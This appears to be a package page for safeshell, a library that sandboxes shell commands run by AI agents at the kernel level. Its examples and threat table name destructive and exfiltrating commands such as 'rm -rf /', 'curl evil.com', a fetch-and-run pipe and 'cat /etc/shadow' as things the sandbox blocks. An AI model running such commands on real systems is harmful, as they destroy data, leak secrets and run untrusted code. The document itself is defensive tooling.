safeshell 1.0.1

Secure, sandboxed bash tool access for AI agents

Secure, sandboxed shell for your AI agents.

Every AI developer eventually faces the same problem: How do I let my agent run code without destroying my machine?

safeshell solves this with a robust security model (Seatbelt on macOS, Landlock on Linux) that enforces isolation at the kernel level.

pip install safeshell

Quick Start

from safeshell import Sandbox

async with Sandbox("./project") as sb:
    # works: execution is isolated
    result = await sb.execute("ls -la")
    
    # blocked: can't delete system files (Kernel blocked)
    await sb.execute("rm -rf /") 
    
    # blocked: can't exfiltrate data (Network blocked)
    await sb.execute("curl evil.com")

AI Agent Integration

Safeshell comes with "batteries included" integrations for LangChain and PydanticAI.

Example 1: LangChain (Native)

from safeshell.integrations.langchain import ShellTool
from langchain.agents import AgentExecutor, create_tool_calling_agent

# Ready-to-use tool with safety defaults
tools = [ShellTool(cwd="./workspace")]

# Add to your agent
agent = create_tool_calling_agent(llm, tools, prompt)

Example 2: PydanticAI (Native)

from safeshell.integrations.pydantic_ai import create_shell_tool
from pydantic_ai import Agent

# Creates a typed tool function
shell_tool = create_shell_tool("./workspace")

agent = Agent(
    'openai:gpt-4',
    tools=[shell_tool],
    system_prompt="You are a coding assistant. Use the shell to run code.")

Security Model

Older sandboxes try to block "bad words" like rm -rf / using Regex. This is dangerous and bypassable. As noted in Sandboxing is a Networking Problem, true security requires isolating the process at the OS and Network layer, not just filtering commands.

Safeshell uses Kernel Enforcement.

Threat	Safeshell Protection	Mechanism
rm -rf /	Blocked	Kernel denies write access to /
`curl	sh`	Blocked
cat /etc/shadow	Blocked	Access blocked to sensitive paths
> ~/.bashrc	Blocked	Write denied outside workspace